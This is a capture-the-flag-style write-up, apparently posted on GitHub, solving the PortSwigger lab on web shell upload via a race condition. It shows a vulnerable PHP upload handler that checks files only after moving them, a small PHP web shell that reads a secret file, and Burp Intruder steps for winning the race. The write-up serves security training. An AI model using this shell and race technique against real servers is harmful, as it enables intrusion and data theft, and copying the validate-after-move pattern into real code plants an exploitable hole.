portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy:

7 Web shell upload via race condition

This lab demonstrates how attackers can exploit race conditions during file upload processing to bypass security controls and successfully upload malicious web shells, leading to remote code execution.

LAB 7 - Web shell upload via race condition

Lab Description :

image

Solution :

Concept of Race Condition

A race condition occurs when multiple threads execute concurrently, and the application fails to validate them properly. In this case:

Code Insight

The vulnerable code likely looks like:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "File uploaded.";
} else {
    unlink($target_file); // Deleted if invalid
    echo "Error uploading.";
    http_response_code(403);
}
?>

Exploit Steps

1. Create PHP Web Shell

Create shell.php with:

<?php
echo file_get_contents('/home/carlos/secret');
?>

image

The below is get request of shell.php,which we have uploaded in above image we can see.

image

🔧 Intruder Settings

Start Both the Requests Simultaneously

And you will notice you will get secret

image

Submit the key above and lab will be solved